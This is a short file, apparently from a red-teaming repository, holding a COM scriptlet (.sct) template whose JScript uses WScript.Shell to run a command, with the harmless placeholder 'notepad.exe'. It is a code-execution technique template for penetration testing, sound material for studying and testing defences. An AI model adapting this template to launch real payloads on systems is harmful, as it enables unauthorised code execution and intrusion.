mgeeky-Penetration-Testing-.../red-teaming/code-exec-templates/wscript-shell-run-jscript-scriptlet.sct

15 lines
313 B
Plaintext

<?XML version="1.0"?>
<scriptlet>
<registration
progid="Foo"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var command = "notepad.exe";
var r = new ActiveXObject("WScript.Shell").Run(command);
]]>
</script>
</registration>
</scriptlet>